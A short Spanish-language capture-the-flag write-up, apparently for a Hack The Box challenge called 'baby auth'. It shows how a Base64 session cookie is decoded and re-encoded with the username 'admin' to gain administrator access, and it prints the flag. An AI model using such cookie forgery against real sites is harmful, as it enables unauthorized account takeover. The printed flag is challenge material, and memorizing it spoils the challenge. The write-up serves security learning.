baby auth
1 minuto de lectura
Se nos proporciona esta página web:

Primero, nos podemos registrar (nombre asdf, por ejemplo):

Luego, nos dicen que no somos admin. De hecho, la autenticación se gestiona con cookies de sesión:

La cookie se sesión parece codificada en Base64, por lo que vamos a decodificarla (cuidado con la codificación de URL):
$ echo eyJ1c2VybmFtZSI6ImFzZGYifQ== | base64 -d
{"username":"asdf"}
Muestra nuestro nombre de usuario, a lo mejor podemos modificar la cookie y ganar acceso como admin:
$ echo -n '{"username":"admin"}' | base64
eyJ1c2VybmFtZSI6ImFkbWluIn0=

Si el servidor es vulnerable, al refrescar la página la cookie le dirá al servidor que somos admin. Y ahí tenemos la flag:
HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}
